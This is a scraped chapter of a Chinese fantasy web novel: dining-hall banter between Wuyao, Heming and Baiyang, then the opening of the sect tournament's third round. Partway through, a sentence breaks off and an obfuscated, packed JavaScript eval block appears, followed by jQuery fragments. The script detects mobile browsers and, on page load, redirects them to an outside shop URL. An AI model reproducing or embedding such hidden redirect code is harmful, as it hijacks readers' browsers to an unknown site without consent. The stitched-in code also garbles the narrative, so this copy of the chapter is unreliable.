文趣网 > 其他小说 > 重回幽冥界她不干了! > 39. 第 39 章
    鹤鸣跟在乌遥身后,“我们到底要去哪啊?”

    乌遥提着食盒经过一栋栋木屋,最后到了舍院门口才停下来。

    “去食斋。”

    “去食斋干什么?”

    鹤鸣摸着不算圆鼓鼓的肚子,笑呵呵道:“你是不是看我没吃饱,想带我去吃好吃的呀?”

    乌遥闻言蹙眉,回头看他,“你没吃饱?”

    鹤鸣点头,确实没吃饱,他就吃了几个如意红豆糕,都不够塞牙缝的。

    乌遥偏头往食斋的方向示意,“那走吧。”

    “好嘞!”

    白扬也在食斋,坐在万灸宗的人旁边,往人堆里看去,还能看见坐在江雪净旁边的徐广庭。

    鹤鸣没去过主山的食斋用过膳,新鲜得很,一到就一头扎进饭堆里去了,乌遥没管他,径直朝白扬那去。

    白扬一个人,他原本可以在清山用膳的,但乌遥昨日晕厥一事,让昨晚做一整晚的噩梦,梦见易芙蓉指着他骂,问为什么没有照顾好乌遥。

    易芙蓉一生气,天未亮就把他醒了,放不下心便早早来食斋等她,看看她怎么样了。

    “乌遥。”

    白扬指着跟在她身后离得不远的小人:“那小孩谁呀?我还以为是我起太早眼花看见小殿下了呢。”

    乌遥把食盒放在桌上,“宋其逍的弟子。”

    白扬打开食盒看了一眼,没什么食欲兴趣又盖回去,“宋其逍的弟子跟着你干什么?”

    乌遥简单把昨夜发生的事传音告诉他,白扬搞清楚后,感叹道:“天地脉,这东西居然这么神奇!怪不得你用灵力修炼也这么变态,但这天地脉是修界之物,你怎么会有?”

    “我也不知道。”

    乌遥昨晚思索了一晚,也想不明白自己为何会有天地脉。

    白扬忍不住啧啧两声:“想不明白就不想了,反正你已经把人家阵符宗始祖独创的符咒术都学会了,你要再把那本《万景符咒录》学会,你都能在修界自己立一个阵符宗了。”

    她一听,目光赞赏,“这主意不错。”

    “什么不错?”鹤鸣抱着一碗垒成小山的食膳回来,坐在乌遥旁边。

    白扬眼眸上下来回地打量鹤鸣。

    说是云清宗不安全,派了自己的徒弟过来保护乌遥。

    可就算这云清宗没了,他和乌遥都会活得好好,宋其逍派人过来跟着,根本不是保护,是要对乌遥图谋不轨!

    这派人就算了,乌遥可向来不会吃亏,可宋其逍居然派了个又小又矮的胖子过来,这能保护什么?

    不拖他们后腿就不错了,他可不相信宋其逍这个活阎王有这么好心!

    白扬语气算不上好,“你就是宋其逍派来的那只鸟?”

    鹤鸣脸皱在一起,纠正道:“我是鹤!灵鹤!”是祥瑞之兽灵鹤!

    “行行行,我管什么鸟什么鹤,我告诉你,你跟着我们,什么话该说,什么话不该说,心给我擦亮咯,不然我就烧秃你的鸟毛!”

    乌遥适时一句:“火候不够,烤成烧鸟就好。”

    鹤鸣否定道:“不行!师父说了你不会宰了我的!”

    白扬直接抢了他碗里的鸡腿,“你师父没说错啊,我们没宰你,是直接烧你啊,笨蛋!”

    鹤鸣自小安分跟在宋其逍身边,没出过宗门,除了幼时的经历,他没见过什么大场面,属实是没经历过这一次又一次的恐吓。

    “啊啊啊啊啊啊,不行!宰不可以!烧也不可以!”

    白扬咬着鸡腿,说话含糊不清还故意逗他:“都可以哦!”

    “啊啊啊啊啊!我说了不可以!你还我鸡腿!”

    “你一只鸟怎么还吃同类呢!你真残忍!”

    “啊啊啊啊啊!我说了我不是鸟!是鹤!是祥瑞之兽灵鹤!”

    “不都一样吗?都是鸟。”

    乌遥没想到这两个人能这么吵,揉了揉刺痛的耳朵,摸了一下食盒变温了。

    “哪里一样!我说你长得像猪,你就是猪了吗!”

    “嘿!你还别说,我不像猪,你倒是挺像猪的嘞!”

    “啊啊啊啊啊啊啊!我不是猪!是鹤!灵鹤!”

    “我说……”

    乌遥往桌上一拍,两人当即噤声。

    白扬抿唇,立刻把吃过的鸡腿丢回他碗里。

    鹤鸣抽泣了一下,低头见碗里那只剩骨头的鸡腿,嫌弃地丢在地上,一只白色灵犬嗅到味道飞扑过来给叼走了。

    他呆愣了一下,“呜呜呜呜呜呜,师父,连狗都欺负我!”

    乌遥皱着眉把食盒递给白扬,“给她。”

    “哦。”

    这个她是谁不言而喻,白扬见鹤鸣哭丧着脸,满意地走了。

    鹤鸣气呼呼地往他离开的方向捶了一下,等乌遥看过来时,又老老实实坐好,瘪嘴委屈。

    乌遥看着他,“吃你的饭,看什么?”

    鹤鸣立即拿起筷子往碗里扒拉,没嚼就硬生生给咽了下去,被呛个正着。

    他掐着自己脖子,面色涨红,“咳咳咳——”

    乌遥扒拉开他掐着自己脖子的手,倒了一杯水塞他手里。

    她站起身,“慢点吃,呛死我可不管。”

    鹤鸣看她走开,捶一下胸口连忙把水咕嘟咕嘟喝了个精光,方放下杯子,面前就多了一碗装得满当当的鸡腿。

    他呆愣地看着乌遥。

    她坐下来,声音比方才轻柔,“还给你,方才我们只是在开玩笑,别跟我们计较,吃吧。”

    原来是个嘴硬心软的好人,鹤鸣忽然就不怕她了。

    他顿时眉开眼笑,好哄得很,“谢谢,小……遥姐姐。”

    乌遥对他的称呼蹙了蹙眉,“不要加小字。”

    鹤鸣反应过来她误会了,立即改正道:“遥姐姐!”

    乌遥眉心的不适才散开了些,懒洋洋地应了一声:“嗯。”

    “咳咳咳,各位早安啊!”

    白扬走到徐广庭那桌,提着的食盒直接放在江雪净面前。

    她一头雾水,“这是?”

    白扬深吸口气,嘴边飞过无数个借口,直到瞥见徐广庭掌心包扎好的白纱布,他机灵地说道:“江姑娘,谢谢你帮徐广庭处理伤口,这是……”

    他连忙打开看了一眼,笑道:“这是鸡汤,你喝了吧。”

    徐广庭对上白扬的眼神,心领神会地将玉露鸡汤拿出来递给她,“对,江姑娘,白扬是我的好朋友,他想替我感谢你。”

    江雪净看着那碗灵气四溢的玉露鸡汤受宠若惊,“谢谢。”

    白扬手搭在徐广庭肩上,眼神暗戳戳地往返两人之间:“不客气,那我先走了,江姑娘,我这好朋友的伤就拜托你了。”

    江雪净不作他想,温婉颔首,“应该的。”

    待白扬走了后,在徐广庭叮嘱下,江雪净喝完了那碗玉露鸡汤,感觉到体内的灵力忽然充沛了许多。

    用完早膳之后,大家都不约而同前往祭祀台,继续为前日死去的人悼念。

    辰时后,众人又重新集聚在此演武场,氛围低沉,显然还沉浸在过去两日的悲伤当中。

    乌遥扫了圈站在看台之上的一众宗主长老,五大宗门的站位泾渭分明,明显因为前日之事生了隔阂。

    尤其是阵符宗与炼器宗,前日还站在一块,今日反倒是各站一方,巴不得离对方远远的。

    炼器宗与万灸宗站在右边,阵符宗倒是罕见地与契兽宗站在另一边,中间依旧是云清宗未曾变过。

    五大宗门之间失去信任情况,背后之人更是不好下手了,背地里恐怕也要被气死了吧?

    乌遥嘴角露出淡淡笑意。

    ……

    从第二关活着且留下的修者仅剩两百余人。

    “宗门大比第三关正式开始,四十余人为一场,一共五场,每一场前三才有资格参加下一轮比试。”

    玄清长老说完后,南玉湖与薛慈双手掐诀,每个参赛修者面前都浮现了一块翠绿色玉牌。

    乌遥拿到的是一号,意味着她是第一场上场的人,白扬与千万枝的号数则是第二场。

    薛慈道:“一到四十四号,上来吧。”

    白扬在她旁边低声问道:“我们要不换换?”

    乌遥知道他在担心什么,上一关她的实力已经被人所知。

    越早上场,越能提醒他们,她在第二关的表现有多么出色,为了赢,他们可能会联合起来针对她。

    不过想要针对她,还得看他们有没有这个本事。

    乌遥偏头看他,姿态放松,“不用,早点打完早休息。”

    白扬放心下来,知道她心中有数,大声喊道:“乌遥,打趴他们!”

    鹤鸣起劲地跟着喊了一句:“遥姐姐!加油!遥姐姐!加油!”

    旁边几人看见自己与乌遥一场,心里头都在打颤,能参加这关比试的修者,大部分都知道是乌遥带着他们破开了第二关的阵法。

    若不是她,他们可能都会死在阵法里面,这也足以说明乌遥见识和修为之高,听到白扬这几句话,几乎没人敢质疑她。

    但也不妨碍有人是不怕死的。

    那人手里拿着四十四号玉牌,不屑道:“我当是谁能,原来是幽冥界的走狗啊,居然敢在云清宗这么猖狂,等会儿别反被我打趴下,躺在地上哭爹喊娘啊。”

    白扬循声看去,此人有点眼熟,但一时没想起来他是谁,单看宗门制服倒是知道此人是契兽宗弟子。

    一袭青色纱袍,面容清秀,身形瘦小,千万枝认出来,走到乌遥身边道:“他是契兽宗吴长老的孙子,吴知。”

    白扬一听,重重地嗤了一声,“是挺无知的,和那个俞眛一样,都是不长脑子的。”

    千万枝很轻幅度地点了个头,低声道:“契兽宗大部分人都没脑子,行事简单粗暴,听风就是雨。”

    白扬脸一抽,给她竖了个大拇指,“说得真好!”

    乌遥扯唇笑了笑,“他对你怎么样?”

    千万枝意有所感,深深地看着她,“我和他不熟。”

    乌遥点头以示了解。

    吴知的话出来后,他周围的人显

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17673054|207407||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    然都觉得他脑子有病,敢这么说自己的恩人。

    叶从风没忍住,“喂,你谁啊。”

    吴知神气地站在他们前面,“契兽宗,吴知。”

    有人指着他恍然大悟:“原来是好几日前欺负自家师妹的契兽宗,怪不得人这么嚣张。”

    吴知那日并未与俞眛他们走在一起,并不知道发生了什么。

    “欺负什么师妹,这关我们契兽宗什么事?”

    除了契兽宗弟子,无人搭理他。

    走到这一关,他们都是一心锄强扶弱,维护三界秩序的正道修者,无论是什么宗门,本身就不会带着偏见看人。

    可契兽宗连自己人都欺负霸凌,如何在众多宗门门派之中以五大宗门的身份立足?

    因此进入云清宗后,这件事已经被参加宗门大比的修者们熟知。

    虽然表面都维持着客套,但他们心里都知道,契兽宗已经被附上了一个恃强凌弱的形象。

    吴知对乌遥的狂妄放言,对契兽宗百害无一利。

    等宗门大比结束之后,期间发生的所有事情会随之传播到修界五州。

    到那时候,契兽宗在五大宗门及众多宗门门派里的名誉及地位会受到巨大的损害,甚至被抵触退出五大宗门的席位。

    白扬看见吴知那张嘴脸终于想起来他为什么觉得眼熟了,“啊!我想起来了,他就是那个舌头长。”

    乌遥被他提醒,也唤起了几日前的记忆,中肯道:“吴知,这名起得不吉利,要倒霉。”

    白扬凑到她耳边,“多倒霉?”

    乌遥嫣然一笑,“你看着咯。”

    她走上场,其他人也陆陆续续跟着站上演武台。

    吴知从契兽宗其他人口中得知俞眛和蔡淳发生的事情,冷哼一声。

    “这俞眛怎么这么蠢?还帮着外人欺负自己人,活该被人骂!真不知道宗主看上他什么了!居然让他当上亲传弟子,幸亏淘汰得早,不然我先揍他一顿!居然让我们契兽宗在宗门大比丢尽脸面!”

    契兽宗弟子道:“俞师兄已经被淘汰,但他做的事,已经让我们契兽宗在众人面前留下不好的印象了,一旦此事流传出去,只会对我们契兽宗不利,师兄,我们该怎么办啊?”

    吴知握紧拳头,“放心,只要我进了前五名,这些就不算事。”

    契兽宗弟子把希望寄予吴知身上,“现在我们这群人里,就只有师兄你才能替我契兽宗争回一口气了!但那个乌遥也不容小觑,我们能从第二关出来,很大部分是因为她,师兄,你一定要小心啊。”

    “放心吧,那阵法能过是她运气好,就她这么个弱不禁风,整天戴着个破帷帽,神神秘秘的能成什么大器,前五名你们放心好了,我定然能进去,正好也让他们见识见识,当幽冥界的走狗可不是什么好事情!”吴知拍了拍他的肩,走上演武台。

    看台上的玄清长老严词道:“此番比试,掉下的演武台者淘汰,但不可伤及性命,点到为止,撑不住便主动下台,莫要强撑,三界还有其他的地方需要你们,不可把命留在这!可都明白了?”

    “是!”

    宋其逍在演武台之下的地界设了一道结界,防止误伤其他人。

    期间,宋其逍看了一眼站在角落的乌遥,很快就收回了视线。

    乌遥似有所感,抬眸瞥过看台。

    南玉湖看向玄清长老,见他点头示意,立即宣布:“比试开始!”

    场上一共四十四个人,多为三三两两站在一起,唯独乌遥一人站在角落。

    一时间,无人有所动作。

    一是忌惮乌遥的实力,二是除了她之外,其余人的实力并未揭露出来,只听过名号,因此都不敢轻举妄动,怕自己遇到比自己实力强劲许多的对手。

    未知,就是最大的危险。

    演武台上的人许久都没有动静,底下的人也跟着紧张起来。

    “他们怎么还不动手啊?”

    “都不知道对方实力,谁敢下手?这就要看是谁先按捺不住了。”

    “每个人擅长的都不一样,贸然出手很容易落下乘。”

    台下的人都看着演武台之上的人议论纷纷,唯独白扬与千万枝。

    一个逗鹤鸣掐架,一个捧着书,时不时还从储物袋丢出一根铁棍给旁边的阿谁玩。

    一个比一个放松,惬意,仿佛场上没有他们在意的人一般。

    反倒是旁边的江雪净紧张得手心出汗。

    徐广庭察觉异样,关心地问:“江姑娘,你怎么了?”

    江雪净也不明白为什么自己忽然变得慌张,仿佛心悬在空中,要掉不掉的。

    “你说乌遥姑娘能赢吗?”

    徐广庭目光顺着她方向看去,乌遥那顶帷帽被风吹动,轻纱层叠飘逸,却始终没有露出她的一丝真容。

    他想起乌遥苍白的脸,故作轻快地宽慰道:“放心吧,她一定能赢。”

    江雪净听着他说话语气,勉强安下心来,可不过一刻,一道声音在寂静人群中响起,吸引众人的目光。

    “他们开始了!”